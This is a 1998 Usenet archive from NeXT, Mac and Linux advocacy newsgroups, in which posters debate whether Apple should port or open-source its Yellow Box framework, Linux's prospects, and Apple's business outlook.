Not clearly defined in your BusinessCase is what reciprocating role Linux
would play in Apple's marketplace...
-r
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: YB, IB, OPENSTEP, OPENSOURCE RAD...
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Message-ID: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com>
Date: Wed, 09 Dec 1998 07:49:17 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 23:49:17 PDT
Organization: @Home Network
ex-NeXT personalities participating in comp.os.linux.advocacy...
Scott Hess
Greg Anderson
Nathan Urban
Sal Denaro
Johnathan Henry
Charles Swiger
Michael Peck
Matt Kennel
Henry Mc Gilton
Can an OPEN Apple be far behind?
-r
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Wed, 09 Dec 1998 07:37:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74l9bu$fh0$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <366B248A.5F03219A@mohawksoft.com> <74g370$117$1@nnrp1.dejanews.com> <366BF336.B17A3872@mohawksoft.com> <74h6ov$pe2$1@crib.corepower.com> <366C2F0D.7D2F461E@mohawksoft.com> <74ilnf$84b$1@nnrp1.dejanews.com> <74j3hi$jrk$1@nnrp1.dejanews.com>
In article <74j3hi$jrk$1@nnrp1.dejanews.com>,
malcolm@plsys.co.uk wrote:
> True; most up them upgraded to Intel :-)
I have to consider that a sidegrade at best :-)
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,misc.invest.stocks
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 00:00:22 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R0912980000220001@news>
References: <746k9p$820$1@your.mother.com> <74i2du$k1m@news1.panix.com> <slrn76r3gc.qsl.maynard@mr-gateway.internal.net> <61D8A87D61D3E386.97F7D7646167ACD0.0677956474619452@library-proxy.airnews.net> <cdoutyF3oEAo.886@netcom.com> <0CB6EE0885508DDD.60A7405A43CDEF1C.CA72838D94017B01@library-proxy.airnews.net>
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> It'd have to push into CHEAP (I ain't talkin $1,300, I'm talkin $500
> and lower) Networked Gizmoes for the Home Area Network. Linux with a
> nice Yellow Box GUI would help that along nicely.
>
Why the hell use Linux for that purpose? Hrm, let's see spend a lot of
time and effort to port YB to Linux so the N|C os will be Linux. If Apple
wanted to sell N|Cs they would use MacOS with YB. You technocrat dreamers
make me laugh.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Wed, 09 Dec 1998 07:53:04 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74la90$gab$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <366B248A.5F03219A@mohawksoft.com> <74g370$117$1@nnrp1.dejanews.com> <366BF336.B17A3872@mohawksoft.com> <74h6ov$pe2$1@crib.corepower.com> <366C2F0D.7D2F461E@mohawksoft.com> <74ilnf$84b$1@nnrp1.dejanews.com> <slrn76r0vd.296.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn76r0vd.296.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
mbkennel <replace this with '@'> yahoo.com wrote:
> The problem is when "Rapid Application Development" environments are
> not the same as real software development environments. What is a
> non-rapid development environment?
I understand you point but I don't see how that helps us. I believe the
following two premises:
IB/PB/YB is a RAD environment
IB/PB/YB does not suck for non-trivial applications
Conclusion:
Not all RAD environments suck for non-trivial applications
I think that the conclusion follows from the premises. So, if we are to attack
the conclusion, we must remove one of my premises. Which one is false?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
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From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 00:10:37 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R0912980010370001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <smileyy-0712982013190001@209.50.122.242> <anarkhos-ya02408000R0812982257100001@news> <Dipb2.601$L52.156@news.rdc1.ne.home.com>
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[blahblah]
It depends on the app. Would I pay
> for a Mac OS X Server port of Mozilla? Yes. If linux Netscape was no longer
> freely available, would I pay for a registered version? No, because the
> minute Netscape announced they would be charging individual users for the
> software several projects would spring up to bring a quality www browser to
> the platform free for individual use, and one or more of the projects would
> end up producing just that. Such is the nature of free software.
Wow, Linux users have FREE browsers? Your example really doesn't touch
on anything relevant. The question was if Linux users would pay for YB
applications, I gather NOT!
From: "chris black" <c@c.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 9 Dec 1998 00:36:17 -0700
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com> <slrn76rims.ao4.jedi@dementia.mishnet> <74l0u0$i44@news1.panix.com>
Organization: EarthLink Network, Inc.
Message-ID: <74l978$9d$1@fir.prod.itd.earthlink.net>
Sal Denaro wrote in message <74l0u0$i44@news1.panix.com>...
>On Tue, 8 Dec 1998 16:57:00 -0800, jedi@dementia.mishnet
> <jedi@dementia.mishnet> wrote:
>> Grannies are still going to be pushed into
>> buying PCs (along with the rest of the market)
>> for the same reasons they always have.
>
>It looks like a fair number of grannies are buying iMacs.
Yikes.. I'm picturing my granny grimacing in arthritic pain trying to
manipulate the unusable iMac micromouse, and unbending paperclips to stick
into the tiny holes in the case. Now I'm picturing her using her iMac as a
$1299 bondi blue flower planter. "Look sonny, you can see the roots through
the case!"
Chris
From: anarkhos@anarchism.orgy (strobe)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.society.futures
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 00:03:01 -0800
Organization: University of Oregon, Eugene
Message-ID: <anarkhos-ya02408000R0912980003010001@news>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3nKAF.BIp@T-FCN.Net> <366D5941.F16608B5@ericsson.com> <F3nxuJ.IzF@T-FCN.Net> <74k742$1fk$1@murdoch.acc.Virginia.EDU> <6FB879F6E1903191.BEFE322380CEAB57.076EC82EDAE4561F@library-proxy.airnews.net> <74l0tv$i44@news1.panix.com>
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> I have full confidence that giving away YB would do for Apple the very same
> thing that giving away navigator did for Netscape:
>
> 1) Artificially pump up the stock price until everyone comes to their senses
> and realizes that you can't make money giving away things for free
> 2) Force them to scramble and find some product that they can sell
> 3) Get them bought out by a company with deep pockets.
Netscape originally only gave Netscape away for educational purposes
only. They asked commercial users to PAY. They only made it completely free
when Microsoft released IE for free.
As for being bought out by a company with deep pockets, AOL investors
hav even greater inflated expectations, that P/E is about 400 by now I bet.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <08129822.3036@hotmail.com>
Control: cancel <08129822.3036@hotmail.com>
Date: 08 Dec 1998 22:33:55 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.08129822.3036@hotmail.com>
Sender: ukcds@hotmail.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <adtF3o3Ly.9Jo@netcom.com>
Followup-To: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Organization: ICGNetcom
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com> <slrn76r3gc.qsl.maynard@mr-gateway.internal.net>
Date: Tue, 8 Dec 1998 22:25:10 GMT
Sender: adt@netcom2.netcom.com
J. Maynard Gelinas (maynard@mr-gateway.internal.net) wrote:
: Sidenote: Apple would do themselves a _BIG_ favor by helping or
: funding development of XDGS with the GNUSTEP team. Display
: Ghostscript could be Apple's way out of their dependency on Adobe.
: Since Adobe seems committed to killing DPS it's only reasonable that
: Apple should look for some alternative which doesn't require runtime
: licensing fees.
Bad guess, Adobe could kill Apple by announcing that they will no longer
support the Mac platform. Defections to the WinNT versions of the Adobe
products is a big enough problem with Adobe actively supporting and
developing for the Mac.
: I sure would like to see YB ported to Linux, and I *DO* think
: this would be to Apple's advantage. Linux has developers mindshare,
: and a large student audience. Given Apple's previous targeting of the
: student populations in public schools and Universities it would seem
: an obvious move for them...
Personally I expect to see Rhapsody/MacOS X compete againt Linux there.
With BSD underneath and the Apple GUI on top users will be able to run
UNIX apps/tools along side shrink wrapped retail apps. Not to mention the
hardware sales that the Rhapsody/MacOS X solution will involve. My guess
is that Yellow Box exists for Win32 only because that is where nearly all
the commercial software developers are, and Apple wants their apps.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: malcolm@plsys.co.uk
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: Wed, 09 Dec 1998 10:20:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74liso$npc$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news>
In article <anarkhos-ya02408000R0812982236290001@news>,
anarkhos@anarchism.orgy (strobe) wrote:
> Regarding the idea of yellow box for Linux.
>
> 1) Yellow box isn't going to be free. Licences have to be paid, probably
> $20.
>
Not quite true: the initial release will have a cost associated -- largely
due to licensing issues, primarily DPS -- however Apple has committed to a
free runtime by about this time next year, using a different display system.
> 2) Linux will soon have WindowMaker which will use display ghostscript.
>
How "soon" is soon for acceptable performance. Recent reports I've heard re
DGS indicate that it's quite a way from "consumer" quality thus far. See
also recent threads in comp.sys.next.advocacy about other issues surrounding
DGS -- look in particular for Mike Paquette and Henry McGilton.
> Although you will not be able to simply recompile code for GNUStep, the
> frameworks will be similar enough to make porting relatively easy.
>
Well, there's "relatively easy" and there's "relatively easy". Apple has
made sufficient enhancements to OpenStep now that I could imagine it would be
relatively inconvenient to stick to the strict OpenStep spec; even lack of a
common nib format will be tiresome.
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: raxelbrof@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,misc.invest.stocks
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 10:55:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74lkve$pkd$1@nnrp1.dejanews.com>
References: <746k9p$820$1@your.mother.com> <74i2du$k1m@news1.panix.com> <slrn76r3gc.qsl.maynard@mr-gateway.internal.net> <61D8A87D61D3E386.97F7D7646167ACD0.0677956474619452@library-proxy.airnews.net> <cdoutyF3oEAo.886@netcom.com> <0CB6EE0885508DDD.60A7405A43CDEF1C.CA72838D94017B01@library-proxy.airnews.net>
In article <0CB6EE0885508DDD.60A7405A43CDEF1C.CA72838D94017B01@library-
proxy.airnews.net>,
a1050pi@yahoo.com wrote:
> On Wed, 9 Dec 1998 02:16:00 GMT, cdouty@netcom.com (Chris Douty)
> wrote:
>
> >>Best of all, Apple pretty much just has to sit there (outside of
> >>porting the apps, which I know might cause them to break a sweat.) So
> >>they can keep being apathic, but at least they make money and get
> >>their self-respect back (Ie, cut the cords to Redmond.)
> >
> >I don't know what "apps" you are refering to. Apple has no application
> >base under their direct control. There are the apps owned by the Apple
> >subsidiaries Claris and FileMaker, which are all MacOS Toolbox programs.
> >They have no Yellow Box applications to sell other than WebObjects and
> >the development tools.
>
> Ok, my bad. Although I was thinking of the Claris and Filemaker stuff
> as well as Quicktime, etc.
>
> My whole argument, however, boils down to this (at least in my view,
> and I'm the one making the argument!): Apple as-is is a goner. It's in
> the death spiral, despite the number of iMacs sold. Its hardware is
> too expensive and the OS doesn't have enough apps.
This would be the same "death spiral" that has Apple currently gaining market
share, seling lots of iMacs and powerbooks, making profits and most
importantly getting good press?
Noone saw the iMac coming and its been Apples most successfull product ever -
what makes you think that it will end there? Desktops, laptops, handhelds - if
they could sneak the iMac by, god only knows what they've got waiting.
>Its hardware is too expensive and the OS doesn't have enough apps.
For Whom?
It's core markets can still afford the hardware which is getting *cheaper*
and the iMac has proven that Apple can produce a product that is more
expensive and yet produces enough sales for a solid profit.
App availability is a debatable point, I see far more new apps announced than
I see cancelled.
> Therefore, a revolution is needed.
For Whom?
Apple is growing, slowly and steadily and regaining consumer & market
confidence and profitability - that is what's important.
The cloning revolution did so much good that despite a small increase in the
Mac OS market share at one stage, Apples share dropped due to cannibalised
sales. The press of the time was "Apple share dropping" not "Mac platform
rising" and public perception then resulted in cautious buyers avoiding ALL
Mac OS computers and so platform share fell.
Good solid eyecatching hardware design and a closely meshed OS that for the
average user is no more detached from the hardware than a photocopier and its
software is the key to Apples salvation.
Apple survived Windows (WooWoo - just watched an NT4ws machine fatally
bluescreen running 5 smallish apps), why do you think Linux (which doesn't
have a corporation that dedicates itself to wiping out competition behind it)
will threaten apples survival?
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-yobOsI8pY9Uo@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <749vtr$7b3@news1.panix.com> <FIiROLCWddLd-pn2-GVdDqqLGe7qi@localhost> <74fbec$ouk@news1.panix.com>
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Date: 9 Dec 98 11:28:16 GMT
On Mon, 7 Dec 1998 01:36:12, sal@panix.com (Sal Denaro) thought aloud:
> On 6 Dec 98 16:22:11 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >> After spending $400 Mil on it? Don't think so.
> >That money bought Apple lots of things, incl. new management.
>
> Fair enough; but, I have yet to see anything to convince me that Apple
> would OpenSource YB, or would plan to in the near term.
Me neither, but I sure they're at least looking at the possibilities.
> >> What _might_ happen is that Apple would make the source code for the BSD
> >> and Mach portions of the OS available. Apple has already posted some source
> >> up on its developer web site, this would not be all that different.
> >I believe Apple would be wise to explore ways to release varying
> >degrees of YB source to potential licencees (companies, universities)
> >and the general Open Source community while keeping control of
> >compatibility and commercial licencing issues.
>
> Apple (and NeXT before that) has released parts of YB as opensource, when
> they were no longer going to be supported. I think they did this with
> a recent framework (NSPPL?), and they did it before with 3dkit and soundkit
> (IIRC)
They did? Hmm, would that be the reason for the GNUstep begininngs?
Anyway, just "dumping" (pardon the expression) some code they don't
wish to support anymore isn't really the ticket here. There's
tremendous interest in a full-fledged, advanced object framework such
as YB, but before it can take the world by storm it must be usable for
its adopters. There must also be some safeguards against abuse by the
code's owner (i.e. Apple). Netscape worked out a semi-restricted
public licencing scheme and it seems to getting good reception. Sun is
figuring out how to release Java innards to the interested parties
while keeping reigns on compatibility and commercial licensing issues.
Yet the prevalent perception of Apple is that they do have some nice
goodies but it's all tied into a small proprietary platform and
therefore Apple is doomed to eke out living out of their small base of
"hostages".
> > If Apple keeps YB fully
> >proprietary chances are that it will never make a dent in the market
> >and Apple is left with a New Niche to live in.
>
> Just like Windows couldn't make a dent because it is fully proprietary?
Glad you brought this up. :-) Things change. Unlike ten years ago,
the desktop market is now pretty much saturated (although I can see
brisk rescue market in '99 and onwards for Linux saving lots of decent
but WindowsXX-obsolete hardware from, eh, obsoletion). Windows rode
DOS to capture the market, with a "little" help from illegal pre-load
etc. activities. You simply can't repeat the act these days with a
fully proprietary model. E.g. OEM's aren't willing to pre-load YB if a
competiting hardware company, Apple, keeps full control of its
destiny. But given the right licencing scheme, OEMs might find YB most
attractive in bundling it with their upcoming Linux pre-load systems,
esp. if YB lets them customize the initial user experience with
(coding) ease and without restrictions. YB and Linux could ride on
each other.
> > The way out of niche is
> >_compatibility_. YB and Linux could help propel both into world
> >domination. Faster. But with YB kept prorietary and without the Linux
> >synergy... only Linux will get there.
>
> I think there will be plenty of synergy between GNUStep on Linux and
> YB on OSX and NT. And the competition will be good for both sides.
>
> > And Apple's $400M investment in
> >NeXT and their technologies becomes just another chapter in a string
> >of wasted business opportunities. Think different.
>
> I think WO4 will make back a big chunk of that money on its own.
Oh, I do hope so. The way I put it made it sound like only YB were of
considerable value. Not quite. What I meant, however, was that there
is a danger that the biggest opportunity in the NeXT portfolio may be
missing its chance. YB _could_ become ubiquitous, you know. But to
make it happen Apple needs to get it widely accepted within 1-2 years.
Later than that and Linux will keep rolling forward with some
homegrown YB-like technologies, slowly eating away Microsoft's
monopoly. And Apple may still be struggling to move their hostage user
and developer bases from Carbon to YB. It's all about paradigms. :-)
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-i9woQjITKjdN@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com> <FIiROLCWddLd-pn2-si8JhRpGm0ON@localhost> <74l0tt$i44@news1.panix.com>
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Date: 9 Dec 98 11:28:22 GMT
On Wed, 9 Dec 1998 05:13:33, sal@panix.com (Sal Denaro) thought aloud:
> On 8 Dec 98 11:33:17 GMT, taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >Linux has become a strategically important platform which isn't under
> >any competitor's control - a port would IMO be natural choice.
>
> I don't see this at all.
>
> If Apple decides to do a port of YB to another platform (and the best
> time to decide to do this is after OSX and the free YB runtime for Windows
> ships) the best platforms would be Solaris and HP/UX. As it stands now,
> FoundationKit, WOF and EOF all run on Solaris and HP/UX (they come with
> WebObjects for those platforms). Building a full YB on those platforms,
> currently used by existing WO customers, makes a lot more sense to me
> than starting a port on Linux.
Are the volumes and future momentum of these two platforms - Solaris
and HP/UX - sufficient for Apple to pay for YB ports to those
platforms? If YB for Linux became available, would the users of these
two OSes seriously consider running Linux on their hardware instead?
(I have seen quite a few stories to that effect already, in fact)
Also, Linux port would help Apple's own hardware gain acceptability
among the growing ranks of Linux users; one can't say the same of
these prorietary OSes. I'm not saying Apple should, or could,
blackmail HP or Sun with huge porting fees like Microsoft did with
NT/PPP, Apple couldn't do that even if they tried. But to pay for the
cost of porting only would IMO be fair. If Apple can do it for free,
that's fine too, but it shouldn't happen at Linux port's expense.
> >Other commercial platforms - port if the platform owner picks up the
> >tab.
>
> That would eliminate all other platforms. Do you think Sun would pay
> Apple to port a product that would compete with it's Java plans just
> to get a few Apps ported?
You scratch my back and I'll scratch yours. There are more ways to pay
than greenbacks.
Sun and Apple are well-suited to complement each others offerings.
Java could benefit from a generational leap which Yellow Box could
provide. 1+1>2
The rumblings from the unhappy Java licensees have primarily been
about Sun's pace of adding functionality to Java classes. With Sun now
focusing on speeding up the embedded Java development, there's room at
the higher end...
Heh, thinking of HP... they're trying to splinter the (loosely) united
Java front, but I must say I like the name of their Java VM... Apka
kya shubh nam hai? ChaiVM. <g>
> > Wrt. YB for Windows, start charging MS for the port when Windows'
> >market share has become insignicant. :-)
>
> Don't count MS out yet.
Not out cold, but if the Microgate trial succeeds in curbing MS'
wielding of their monopoly-powered magic wand Linux can continue
marching forward and into the consumer territory without much
resistance. Yellow Box and Java, together or separate, can either
fight it or ride it. Given open enough licencing schemes, they can
make Microsoft's proprietary forced-upgrade-driven model obsolete in
as few as five years (my layman's estimate).
> >Of course, there always is the option of releasing YB source code to
> >the wider audiences accompanied with a well-thought-out Apple Public
> >Licence and let everyone work it out themselves whether YB would help
> >their platforms. YB-Java tie-in might help them make up their minds.
>
> I can't think of any commercial product that grew market share by going
> OpenSource.
Navigator/Communicator?
The growing influence of Open Source model really obsoletes a lot of
earlier thinking, doesn't it. The key is in the licensing agreement.
E.g. Java may eventually splinter beyond recognition unless it becomes
"Open Source Enough". Many products which are sold commercially
wouldn't exist if it wasn't for Open Source model, most notably Linux
itself.
Besides, I'm not advocating putting WebObjects under GPL, not at all.
But the Yellow Box runtime is planned to be free once the 3rd party
licensing issues have been solved. I could see huge benefits if the
Yellow Box innards were opened up to scrutiny and innovation by much
larger number of eyeballs. The trick is in figuring out a license that
both encourages participation and discourages splintering. The more YB
is adopted, the better changes WebObjects, or a PowerMac, has of
making a sale.
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-mgZihlIsL5tb@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <199812052237331041835@ts5-41.aug.com> <FIiROLCWddLd-pn2-LuDhKRV0qMtT@localhost> <199812062258261052512@ts6-23.aug.com>
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Date: 9 Dec 98 11:28:19 GMT
On Mon, 7 Dec 1998 03:58:25, nojunkhattonr@aug.com (Rick) thought
aloud:
> taiQ <pit@iohk.SPAM-NOT.com> wrote:
>
> > Because of compatibility (w/ mainstream Linux distros)? Mindshare?
> > Potential marketshare? Potential access to the PC OEM preload market
> > with YB for Linux?
> >
> > I'm just trying to see opportunities instead of threats. :-)
>
> Where's the money for Apple come from?
If YB can find success with Linux? Well, first of all, I'm not
suggesting that YB should be released under GPL (although if Apple
totally misses the opportunies in getting it accepted within a couple
of years, even GPL would make sense...). Anyway, the money comes from
sales of YB-related tools and support; WebObjects is bound to make
more money if YB becomes relevant and accepted. Money comes from
selling YB for Linux to OEMs and from small commercial licence fees
that add up when the volume is right. Money comes from Apple becoming
relevant again in the eyes of the public; when Mac OS X systems can
run the same popular YB apps as lowly PC's. PowerMacintoshes become
once again a safe choice to buy when they're not fully tied into the
fortunes of a temperamental niche company (Apple).
What opportunities is there going to be if YB remains in a small
proprietary niche? Where does the money come from? Or look at it from
another perspective: All life in the Macintosh universe is based on
Carbon, or its premordial early forms. But Carbon is unlikely to
attract new developers and those much-needed new apps to keep the Mac
universe afloat. Is there Life After Carbon? If the new life means
YellowBox (which I'd call Unity) shouldn't Apple take some
before-unseen steps to ensure that YellowBox really "happens".
Brgds,
--
taiQ
[this space is intentionally blank]
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Date: Wed, 09 Dec 1998 05:39:31 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366E6173.609F7A24@ericsson.com>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com>
Mime-Version: 1.0
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Rex Riley wrote:
>
> ex-NeXT personalities participating in comp.os.linux.advocacy...
>
> Scott Hess
> Greg Anderson
> Nathan Urban
> Sal Denaro
> Johnathan Henry
> Charles Swiger
> Michael Peck
I'm flattered, but I'm not really qualified for this list. True, I'm
ex-NeXT, but only in the slightest way and not at all in the way these
people would be proud to regard themselves. Thanks, though.
> Matt Kennel
> Henry Mc Gilton
>
> Can an OPEN Apple be far behind?
>
> -r
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,misc.invest.stocks
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Cc: a1050pi@yahoo.com
Organization: needs one
References: <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu>
<74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net>
<74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net>
<19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net>
<74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net>
<74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com>
<74i2du$k1m@news1.panix.com> <slrn76r3gc.qsl.maynard@mr-gateway.internal.net>
<61D8A87D61D3E386.97F7D7646167ACD0.0677956474619452@library-proxy.airnews.net>
Mime-Version: 1.0
Date: Wed, 9 Dec 1998 14:21:26 GMT
In
<61D8A87D61D3E386.97F7D7646167ACD0.0677956474619452@library-proxy.airnews.ne
t> Sheldon Gartner wrote:
> Geeze, why is it so hard to understand how Apple's balance sheet would
> do quite well if they open sourced Yellow Box as a gift to the Linux
> community.
Because there's no evidence to support it.
> As it is right now, Apple is slowly fading into computer history.
> Yeah, it may sell a bazillian iMacs but Apple is d-e-a-d as we know
> it. It's just twiching a bit as the life drains out of it. Now, there
> are a few ways for Apple to get itself out of that prediciment.
This too appears to be based on nothing.
> Apple thrives with #3 because suddenly they're at the center of the
> computing world again.
And this.
> on Linux?) Apple provides or ports its apps and tech to Linux and
> makes a huge amount of money selling support, apps and hardware
And this.
> Best of all, Apple pretty much just has to sit there (outside of
> porting the apps, which I know might cause them to break a sweat.) So
> they can keep being apathic, but at least they make money and get
> their self-respect back (Ie, cut the cords to Redmond.)
So basically you have no evidence to support your view, which is
basically based on your own "Apple is dying" opinion.
Maury
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,misc.invest.stocks
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Content-Type: text/plain; charset=us-ascii
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Cc: a1050pi@yahoo.com
Organization: needs one
